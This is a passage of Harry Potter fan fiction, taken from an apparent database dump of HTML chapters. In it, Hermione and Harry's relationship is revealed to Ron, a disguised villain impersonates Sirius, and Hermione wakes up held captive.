&#8220;Follow his lead. This can&#8217;t be easy for him. And that means no jokes at his expense, George.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did you have any idea about them?&#8221; Charlie had asked. &#8220;I mean, I knew they&#8217;d been close, but I had no idea.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco sniffed. &#8220;Come on,&#8221; he said. &#8220;Did you ever look at the two of them? Granger would always get moony-eyed whenever Potter walked into the room. Even a stupid git like Crabbe could see that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, but that was at school,&#8221; Ginny said. &#8220;I don&#8217;t remember them ever acting on their feelings while we were all at school.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, you weren&#8217;t with them all the time,&#8221; Fred said. &#8220;Who knows what happened when we weren&#8217;t around, or Ron, for that matter? Who knows how long this has been going on?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know how <i>The Daily Prophet</i> is, though,&#8221; Ginny said. &#8220;There&#8217;s been a number of times when the stuff they print hasn&#8217;t had a bit of truth to it. This could be the case that time, too.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, where there&#8217;s smoke, though, there&#8217;s usually fire,&#8221; Bill said. &#8220;They looked pretty cozy in those photos. But, Ginny&#8217;s right. The important thing is that we follow Ron&#8217;s lead and see how he wants to handle this. Let&#8217;s not make any rash decisions without hearing from Harry or Hermione first.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They&#8217;d all agreed to that. As Ginny watched her brother sulking on the chair in the corner, she wanted so much to go over and give him a hug and tell him that it would all be okay. Everything happened for a reason, she&#8217;d always believed. She hated to see anyone in her family in pain and it was hard to see Ron, who always seemed so happy, to be suffering so much. Ron caught her staring at him and she gave him a reassuring smile. Ron gave her a slight smile and then looked back down at the carpet. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A knock at the door interrupted everything a few moments later. Charlie got to his feet to answer the door and came back a few moments later with a couple of guests, in tow. Behind Charlie, a nervous looking Harry and Hermione stood. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The silence in the room was nearly deafening. Ron had gotten to his feet and was standing glaring at Harry and Hermione. </p>\n\n<p>&nbsp;</p>\n\n<p>It was Ginny who broke the silence. </p>\n\n<p>&#8220;Hiya, Harry,&#8221; she said. &#8220;Hermione.&#8221; </p>\n\n<p>&#8220;Ginny,&#8221; Harry said. &#8220;It&#8217;s good to see you. To see you, all, really.&#8221; </p>\n\n<p>&#8220;I&#8217;d get up to give you a proper hello, but I think it&#8217;d take me a fortnight to get off this couch,&#8221; she said, pointing to her stomach. </p>\n\n<p>&#8220;That&#8217;s all right,&#8221; Harry said. </p>\n\n<p>Molly came into the living room at that moment, her apron discarded. &#8220;Dinner&#8217;s ready.&#8221;&nbsp; </p>\n\n<p>She looked around at her family who didn&#8217;t get up at once to head into the kitchen. &#8220;What are you all standing about for? I said that dinner-&#8220; </p>\n\n<p>She finally noticed that in addition to her family, Harry and Hermione were standing in the living room. </p>\n\n<p>&#8220;Harry, dear,&#8221; she said, a touch of coldness in her voice. &#8220;Hermione. I wasn&#8217;t expecting you.&#8221; </p>\n\n<p>&#8220;I don&#8217;t mean to interrupt your dinner,&#8221; Hermione said, stammering. &#8220;I just needed to, you know, um, speak with Ron.&#8221; </p>\n\n<p>Molly nodded. &#8220;Well, that&#8217;s alright, then. Come on, everyone. Let&#8217;s go eat and leave them to it. &#8221; </p>\n\n<p>Draco walked over to the couch to help Ginny to her feet. He then led her into the kitchen. Charlie, Bill, Fred and Arthur followed a few moments later. George still stood in the living room, looking expectedly at the trio. </p>\n\n<p>Molly grabbed him by his ear. &#8220;Come on, George.&#8221; </p>\n\n<p>&#8220;Ow, mum!&#8221; George said. &#8220;I want to hear this.&#8221; </p>\n\n<p>&#8220;Now, George,&#8221; Molly said, leading him into the kitchen. </p>\n\n<p>&nbsp;</p>\n\n<p>The trio was now alone in the living room. Ron broke the silence first. </p>\n\n<p>&#8220;When did you get back?&#8221; he asked them, matter-of-factly. </p>\n\n<p>&#8220;Just this morning,&#8221; Hermione said softly. </p>\n\n<p>&#8220;Have a good time, did you?&#8221; Ron asked, giving a sideways glance at Harry. </p>\n\n<p>&#8220;Ron,&#8221; Hermione began. She stopped and looked through the hallway to the kitchen. She could see a row of Weasleys hanging on their every word. </p>\n\n<p>&#8220;Maybe we should go outside, &#8220; Harry said, taking notice of the audience watching them. &#8220;More privacy that way.&#8221; </p>\n\n<p>Ron quietly led Harry and Hermione out of the house and into the backyard. He ushered them to a seat at the picnic table. Harry sat on one side of the table, Hermione on the other. Ron stood there looking back and forth at them. No one said a word for what seemed like an eternity. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So is it true?&#8221; Ron finally asked. &#8220;What everyone&#8217;s saying?&#8221; Hermione&#8217;s eyes were downcast as were Harry&#8217;s. Neither one of them looked up at Ron&#8217;s pleading face. </p>\n\n<p>&#8220;Please tell me that this is just like fourth year when Rita Skeeter wrote all those articles about you and Hermione being a couple. Do you remember that? Please tell me that this is just like that. I really want to hear that.&#8221; </p>\n\n<p>Hermione finally looked up at him. He looked tired and downhearted. Hermione wasn&#8217;t used to seeing him like this. He was usually very happy and upbeat. His appearance now was a shadow of the man she knew. He hadn&#8217;t shaved in a couple of days and his five-o-clock shadow was becoming more and more pronounced. </p>\n\n<p>She had rehearsed earlier that day in the bathroom different scenarios and dialogues that she&#8217;d expected with Ron. Now none of what she&#8217;d rehearsed seemed appropriate. She literally didn&#8217;t know what to say. She wished she could tell him what he wanted to hear, but that would be a lie. She was tired of lying to him and to herself. </p>\n\n<p>&#8220;Ron,&#8221; Hermione began. &#8220;We never meant to hurt you.&#8221;</p>\n\n<p>Ron laughed. &#8220;You didn&#8217;t? Well, that makes me feel sooo much better. I&#8217;ve never understood that when someone does something like this they always preface it by saying they never meant to hurt you. If they never meant to hurt you, why would they do something like that?&#8221;</p>\n\n<p>&nbsp;&#8220;This isn&#8217;t easy for me or you or for Harry,&#8221; Hermione said.&nbsp; &#8220;And neither is fooling ourselves into thinking you&#8217;ll understand.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s good to hear,&#8221; Ron said, sarcastically. &#8220;I&#8217;d hate for this to be hard for you and Harry. Did you see the paper today? They made it sound like I was the bad guy!&nbsp; Like it was me that was keeping the two of you apart all this time. But it wasn&#8217;t me, Hermione. Where was he?&#8221; Ron pointed at Harry. &#8220;Where was he when you needed him? Where was he when I needed him? I&#8217;ll tell you where he was. He was off being a bloody hero. Saint Potter. The Boy Who Lived. The Legend.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry&#8217;s cheeks were getting redder by the second and Hermione could tell he was suppressing the urge to say something back in response to Ron&#8217;s tirade. She gave him a pleading look to keep his cool. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You have no idea what my life has been like, Ron,&#8221; Harry said. &#8220;Do you think I wanted this? I never wanted any of this.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Bollocks, Harry,&#8221; Ron said, shaking his head in disbelief. &#8220;You thrive on this. You love to play the hero. You&#8217;ve been doing it since we were kids. Anything I&#8217;ve ever wanted, you&#8217;ve gotten to first. Quidditch. Head Boy. Auror. And then of course there&#8217;s Hermione. You just couldn&#8217;t stand the fact that I finally had something that you didn&#8217;t. Of course, if the papers are true, you got to her first then, too.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione watched in horror as Harry stood up from the bench and hauled off with a punch smack dab on Ron&#8217;s cheek. Hermione flinched as she saw and heard the connection of Harry&#8217;s fist to Ron&#8217;s flesh. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry!&#8221; Hermione exclaimed. <br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron rubbed his cheek tenderly. &#8220;You son-of-a-bitch.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Guys!&#8221; Hermione said, coming between them. &#8220;Please don&#8217;t do this.&#8221; </p>\n\n<p>&#8220;As if you care, Hermione,&#8221; Ron said. </p>\n\n<p>&#8220;Of course, I care,&#8221; Hermione said. </p>\n\n<p>&#8220;You know, I expected something like this from Harry,&#8221; Ron said, still rubbing his cheek, which was starting to swell. &#8220;I never would have expected this from you. I thought you loved me.&#8221;</p>\n\n<p>&#8220;I do, love you, Ron,&#8221; Hermione said.</p>\n\n<p>For the first time since they&#8217;d come into the backyard, Ron smiled. What Hermione said next, though, caused the smile to disappear in an instant. </p>\n\n<p>&#8220;But not the way you deserve to be loved. You need someone who&#8217;s going to love you with her entire heart and soul, but that person&#8217;s not me,&#8221; she said, softly. She looked over at Harry who had sat back down at the table. &#8220;I gave my heart and soul away when I was 11 years old and I never got it back.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron smirked at Hermione&#8217;s last remark. &#8220;I wish you could have brought that attention to me when I asked you to marry me.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I deserve that,&#8221; she said. &#8220;I wasn&#8217;t fair to you, Ron. I never should have done that to you when I knew in my heart I was in love with someone else.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron just stood there, looking shell-shocked by it all. Hermione hesitantly put her arm out to give him a hug, but he flinched as she approached him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; he said. &#8220;I can&#8217;t deal with this right now. I can&#8217;t stand to look at either of you right now. I can&#8217;t be here right now.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione watched through teary eyes as Ron turned from the two of them and walked back toward the house. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh God, Harry what have we done?&#8221; Hermione asked, forlornly. &#8220;What have we done?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Within a second, Harry had gone to her and enveloped her in his arms. &#8220;What have we done?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>A hooded figure had watched and listened behind one of the barns in the Weasleys backyard. He&#8217;d been very careful to make sure that he wasn&#8217;t noticed or heard. He&#8217;d had to suppress the urge to laugh as he watched the three of them and their little soap opera unfold.</p>\n\n<p>&#8220;How very tragic,&#8221; he commented to himself as he watched Harry and Hermione embracing. &#8220;How very tragic indeed.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Still chuckling at the sight before him, he reached into his cloak pocket and pulled out the small flask and a clear plastic bag. The bag contained a few strands of gray hair. The flask contained a grayish, bubbling potion. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s now or never,&#8221; the master said as he took the hairs out of the bag and gingerly dropped them into the Polyjuice Potion. He took a long swig from the flask and waited for it to take affect. He abruptly dropped the flask and bag to the ground as he felt the potion taking affect. His skin felt like it was on fire and he could feel the transformation taking place. He fell to the ground at the sheer magnitude of force from the potion took him over. It was over in seconds. He quickly got to his feet and pulled a small mirror from his pocket. The face that greeted him was not his own, but that of Sirius Black. He smiled viciously at the reflection and then dropped the mirror back into his pocket. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He took off toward the young couple whom were still embracing each other in the backyard. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry! Hermione!&#8221; he said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Hermione broke apart quickly.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sirius, what are you doing here?&#8221; Harry asked. &#8220;How did you know we were here?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I figured you&#8217;d be here talking to Ron,&#8221; Sirius said. &#8220;That&#8217;s not important now. Harry, they need you back at headquarters. There&#8217;s been a break in the case. The guy will only talk to you, though.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me?&#8221; Harry said. &#8220;Who is it?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We don&#8217;t know who he is, but he said he had some information vital to the case. We&#8217;ve checked out his story and it seems like he might be legitimate. He will only talk to you, though. David and Morgan are back at Headquarters waiting on you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked over at Hermione, who was still crying. He took his hand to her cheek to wipe away a stray tear from her face. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I guess we should go back then,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why don&#8217;t you let me take Hermione back to her flat? You don&#8217;t know how long you&#8217;ll be with that witness. She doesn&#8217;t need to be waiting around on some uncomfortable office chair. Besides, she looks knackered from the trip,&#8221; Sirius said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked at Hermione. She did look tired. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you mind going back with Sirius?&#8221; he asked her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; she said. &#8220;I just want to go home and crawl in bed anyway.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; he said, kissing her. &#8220;I&#8217;ll try and not be too long, then. I love you, you know?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221; she said, smiling. &#8220;I love you, too. Be careful.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I will,&#8221; he said. </p>\n\n<p>He watched as she and Sirius walked down the trail, away from the house. He couldn&#8217;t shake the feeling that something wasn&#8217;t right, but he buried that thought, thinking it must be residual feelings from the confrontation with Ron. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hopefully they would be able to put all this bad stuff behind them and start a new life together. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He had no idea that the bad stuff was about to get much worse. </p>\n\n<p>&nbsp;</p>\n\n '),
	(255, 21, ' <p>Authors Note:&nbsp; I&#8217;m sure we&#8217;re all getting excited about Book Five&#8230;I decided to do n update as I waited. Hope you all enjoy it! Thanks for the kind reviews! </p>\n\n<p>Chapter 21</p>\n\n<p>Find Me </p>\n\n<p>It was a little after nine that evening when Harry arrived at Auror headquarters. He&#8217;d apparated there straight away after leaving Hermione with Sirius at the Burrow. He thanked Merlin once again that the Auror headquarters was not a well-known place in the Wizarding World. No one outside of the Minister of Magic and the staff of Aurors knew where the place was and that such a place existed. Because of this, he hadn&#8217;t had to worry about dodging inquiring reporters as he made his way inside the secluded building. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The house was simple enough from the outside, nothing too ornate or ostentatious to give away its true purpose and the goings on inside it. It wasn&#8217;t very big on the inside, either. In total, the house had six rooms. There were two interrogation rooms, a kitchenette, a sleeping quarters, a small foyer which housed the security team and a meeting room. Harry likened it to a small police precinct house. The main purpose of the headquarters was to conduct interrogations of key witnesses or suspects and to house various Death Eaters or wrongdoers as they awaited transfer to Azkaban. When Voldemort had been alive, the place had been much larger to accommodate the number of Death Eaters who had been captured. Since Voldemort&#8217;s death, they&#8217;d scaled down the headquarters. </p>\n\n<p>&nbsp;Harry quickly made his way through the double doors into the house. He gave a quick nod to the security staff and navigated his way down the narrow hallway toward the interrogation rooms. To his surprise, it wasn&#8217;t very busy. Save for a couple of people scattered in the kitchenette, the place was pretty much dead. </p>\n\n<p>To say the least, he was shocked to find both interrogation rooms empty. This was odd, he thought. Sirius said this person only wanted to speak with me, Harry thought. Surely, they wouldn&#8217;t have taken him to Azkaban already. </p>\n\n<p>He made his way back to the kitchenette and approached one of the men. He recognized him from a case they&#8217;d worked together in Australia earlier that year. </p>\n\n<p>&#8220;Hey, Tim,&#8221; Harry said. &#8220;Sorry to interrupt your dinner, but have they moved anyone or brought anyone in tonight for questioning?&#8221; </p>\n\n<p>Tim put down his sandwich and shook his head. &#8220;No, sorry, Harry,&#8221; he said. &#8220;I&#8217;ve been here since about five and to my knowledge, no one&#8217;s been brought in.&#8221;</p>\n\n<p>&#8220;Are you sure?&#8221; Harry asked. &#8220;Sirius didn&#8217;t bring someone in earlier today?&#8221; </p>\n\n<p>Again, Tim shook his head no. &#8220;Not to my recollection. He&#8217;s here, though. You can ask him yourself.&#8221; </p>\n\n<p>Harry stared back at Tim in amazement. &#8220;Sirius is here? What, did he just get here?&#8221; </p>\n\n<p>&#8220;He&#8217;s been here since this afternoon,&#8221; Tim said. &#8220;Last I saw of him, he was heading back there to catch some shuteye. Is everything okay, Harry? You look like you just saw a ghost.&#8221; </p>\n\n<p>Harry couldn&#8217;t reply. A thousand different scenarios were playing out in his head and none of them were pleasant. He felt a sinking feeling in his stomach. </p>\n\n<p>&#8220;Uh, no,&#8221; Harry finally replied to Tim. &#8220;I don&#8217;t think so. I need to go see Sirius. Thanks, Tim.&#8221; </p>\n\n<p>Within seconds, Harry had found Sirius asleep on one of the cots in the back room. He shook his godfather awake. It took a couple of seconds for Sirius to become aware of his surroundings and the urgency of his godson&#8217;s voice. </p>\n\n<p>&#8220;Calm down,&#8221; Sirius said, sitting upright on the cot. &#8220;What is it?&#8221; </p>\n\n<p>&#8220;I thought you were going to see Hermione home,&#8221; Harry said, urgently. &#8220;Please tell me that she got home okay.&#8221; </p>\n\n<p>&#8220;Well, I&#8217;d like to tell you that, Harry,&#8221; Sirius said, running his fingers through his hair. &#8220;But I don&#8217;t know. I haven&#8217;t seen Hermione or you since I left you in Hawaii.&#8221; </p>\n\n<p>&#8220;No,&#8221; Harry said. &#8220;We saw each other not even thirty minutes ago. Hermione and I were at the Burrow talking to Ron. It went about as well as you&#8217;d think it would. We were there and the next thing I know, you show up and tell me that we had someone in custody who would only talk to me and that I was needed here immediately. You told me that you&#8217;d see Hermione home and make sure she was safe and sound.&#8221; </p>\n\n<p>Sirius stared back at his godson, a look of bewilderment on his face. &#8220;No, Harry,&#8221; Sirius said. &#8220;I&#8217;ve been here since this afternoon. I haven&#8217;t seen you or Hermione. I haven&#8217;t been at The Burrow in years and I most certainly wasn&#8217;t there tonight.&#8221; </p>\n\n<p>&#8220;No,&#8221; Harry said, a sense of dread washing over him. &#8220;That can&#8217;t be. That can&#8217;t be. This can&#8217;t be happening, Sirius.&#8221; </p>\n\n<p>Sirius put a comforting arm on Harry&#8217;s shoulder, but Harry shrugged it off. He got up from the cot and walked toward the door. </p>\n\n<p>&#8220;Where are you going?&#8221; Sirius asked. </p>\n\n<p>&#8220;Where the hell do you think I&#8217;m going?&#8221; Harry asked. &#8220;I&#8217;m going to find Hermione. And when I find the son-of-a-bitch who did this, I&#8217;m going to tear them apart, that&#8217;s what I&#8217;m going to do.&#8221; </p>\n\n<p>Sirius followed him out the door. </p>\n\n<p>&#8220;Where are you going to go first?&#8221; Sirius asked. </p>\n\n<p>&#8220;I&#8217;m going to go back to her apartment,&#8221; Harry said. &#8220;Why don&#8217;t you go check at the Ministry. Get a team together. I want every available person on this. We have got to find her, Sirius.&#8221; </p>\n\n<p>Sirius nodded grimly as he watched his godson take off out the door. </p>\n\n<p>Within moments, Harry had apparated to Hermione&#8217;s flat. As he put the key into the door, he said a silent prayer that she would be inside the apartment, safe and sound. The apartment was dark and looked just as they&#8217;d left it hours before. He turned on the lamp in the living room and called out her name.</p>\n\n<p>&#8220;Hermione?&#8221; he asked. &#8220;Mione? Please be here.&#8221; </p>\n\n<p>He walked in and out of every room in the apartment. It was a Hermione-free zone. She hadn&#8217;t been here. </p>\n\n<p>&#8220;Where are you?&#8221; he asked, he walked over to the fireplace mantle and looked at the pictures. There she was in the photograph staring back at him, smiling brightly. She playfully waved to him. &#8220;Where are you?&#8221; he asked the photograph again. She just waved back at him, oblivious to what was going on outside the world of that photograph. </p>\n\n<p>Harry put down that photo and his eye caught another photo&#8212;the one of Hermione, Ron and himself. The picture was from their third year at Hogwarts. All of a sudden a thought popped into Harry&#8217;s head. </p>\n\n<p>&#8220;No,&#8221; Harry said, putting the photograph down. &#8220;He couldn&#8217;t have done that. Could he? I mean, he was upset, but he wouldn&#8217;t have done something like this, could he?&#8220; </p>\n\n<p>Ron wouldn&#8217;t have done something to Hermione, Harry thought to himself. No matter what had happened, he loved her. He wouldn&#8217;t hurt her, would he? Love made a man do strange things, though. Being betrayed by your two best friends could also make a man do strange things, too, Harry thought. Although he didn&#8217;t want to think this of Ron, he couldn&#8217;t rule him out. One of the first things he&#8217;d learned in his training had been that you never rule out anything, even the obvious. </p>\n\n<p>It was after 11 when Harry apparated back to the Weasley home. He determinedly knocked on their door. </p>\n\n<p>It took a few minutes, but finally he heard footsteps approaching the door. Molly greeted him at the door, wearing a robe, curlers and some sort of cold cream on her face. </p>\n\n<p>&#8220;Harry?&#8221; she said, opening the door. &#8220;What on earth are you doing here?&#8221; </p>\n\n<p>Harry quickly walked past her and into the house. &#8220;Is she still here?&#8221; </p>\n\n<p>&#8220;Is who still here, dear?&#8221; Molly said, following him back into the house. </p>\n\n<p>&#8220;Hermione,&#8221; Harry said. &#8220;Have you seen her? Is she still here?&#8221; </p>\n\n<p>&#8220;No, dear,&#8221; Molly said. &#8220;I haven&#8217;t seen her since this evening when she arrived here with you. Is something wrong?&#8221; </p>\n\n<p>&#8220;Yes,&#8221; Harry said. &#8220;Is Ron here?&#8221; </p>\n\n<p>Molly nodded. &#8220;He&#8217;s upstairs. I&#8217;ll go and get him for you.&#8221; </p>\n\n<p>She didn&#8217;t have to go far, because Ron came barreling down the spiral staircase a few moments later. </p>\n\n<p>&#8220;You have some nerve coming back here, Harry,&#8221; Ron angrily said. &#8220;Isn&#8217;t enough that you got the girl, did you have to come back here and rub my face in it?&#8221; </p>\n\n<p>&#8220;Ron,&#8221; Harry said. &#8220;Have you seen Hermione?&#8221; </p>\n\n<p>Ron started to laugh. &#8220;Already lost her, have you?&#8221; </p>\n\n<p>Harry rushed over to Ron and grabbed him by the collar. &#8220;Listen to me, Ron. This isn&#8217;t a joke. Hermione is missing. If you had anything to do with it, you better tell me now.&#8221; </p>\n\n<p>&#8220;I haven&#8217;t seen her!&#8221; Ron said. &#8220;Let go of me.&#8221; </p>\n\n<p>Molly hurried back into the living room. &#8220;Boys. What is going on?&#8221; </p>\n\n<p>Harry let go of Ron. &#8220;Hermione&#8217;s missing. We don&#8217;t know where she is or what&#8217;s going on.&#8221; <br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;When was the last time you saw her, Harry?&#8221; Molly asked. </p>\n\n<p>&#8220;This evening. She and I were in the backyard and Sirius&#8212;or someone I thought was Sirius&#8212;showed up and said that someone was in custody back at headquarters and he agreed to make sure she got home okay so I could go question the suspect,&#8221; Harry said. &#8220;I get back to headquarters, there&#8217;s no suspect there. No one&#8217;s been brought in the entire night and Sirius has been there all afternoon.&#8221; </p>\n\n<p>&#8220;Polyjuice potion?&#8221; Ron asked. </p>\n\n<p>Harry nodded. &#8220;I think so.&#8221; </p>\n\n<p>Molly had begun to cry. &#8220;Oh, Merlin.&#8221; </p>\n\n<p>Ron went over to his mom and put an arm around her. &#8220;Don&#8217;t worry, Mum. We&#8217;ll find her.&#8221; </p>\n\n<p>&#8220;We?&#8221; Harry asked. </p>\n\n<p>&#8220;Yes,&#8221; Ron said. &#8220;I&#8217;m going to help you find her.&#8221; </p>\n\n<p>&#8220;You are?&#8221; Harry asked. </p>\n\n<p>&#8220;Don&#8217;t look so surprised. I&#8217;m not happy about working with you, either, but this is Hermione,&#8221; Ron said. &#8220;I love her, Harry.&#8221; </p>\n\n<p>&#8220;So do I,&#8221; Harry said. </p>\n\n<p>&#8220;Yet another thing we have in common,&#8221; Ron said. &#8220;We better go, then.&#8221; </p>\n\n<p>Molly continued to sob. &#8220;Be careful,&#8221; she choked out between sobs. &#8220;Bring her home safe and yourselves, too.&#8221; </p>\n\n<p>&#8220;We will, Mum,&#8221; Ron said, giving her a hug. </p>\n\n<p>&#8220;Let&#8217;s go,&#8221; Harry said. </p>\n\n<p>&#8220;Right behind you,&#8221; Ron said. </p>\n\n<p>&#8220;Harry?&#8221; Hermione whispered. Her head hurt immensely and she felt nauseous. She sat up in the bed and looked around at the unfamiliar surroundings. She was in a room, a very small room. The bare walls were painted a royal blue. There were no windows and only two doors. Hermione gingerly rubbed her forehead as she tried to remember what she was doing here. </p>\n\n<p>Something didn&#8217;t feel right about this place. She didn&#8217;t feel as if she belonged here. She tried hard to recall the events from last night or was it tonight? She couldn&#8217;t remember. </p>\n\n<p>The events of last night came flashing back to her. She remembered the ugly confrontation with Ron. She remembered how Harry had comforted her after Ron&#8217;s blowup. She remembered Sirius approaching them and telling Harry he&#8217;d see her home. She remembered how she and Sirius set off to apparate back to her apartment and then, nothing. She tried to rack her brain to make herself recall what had happened after that, but she couldn&#8217;t remember. She wasn&#8217;t used to this. </p>\n\n<p>She might not know how she got here, but she knew one thing, she wasn&#8217;t going to stay. Still rubbing her forehead, she pushed back the sheets and arose out of the bed. She walked toward one of the doors and turned the knob to find a bathroom. She then turned toward the other door and tried to turn the knob, but it was locked. She didn&#8217;t have her wand! </p>\n\n<p>What was she going to do? </p>\n\n<p>&#8220;Where am I?&#8221; she asked out loud. </p>\n\n<p><i>&#8220;Ah, how nice to see you awake, Miss Granger.&#8221;</i></p>\n\n<p>Hermione jumped at the sound of the voice. She looked around the room. </p>\n\n<p>&#8220;Who is that?&#8221; she asked. </p>\n\n<p><i>&#8220;All in due time, my dear girl. All in due time. I trust you slept well,&#8221; 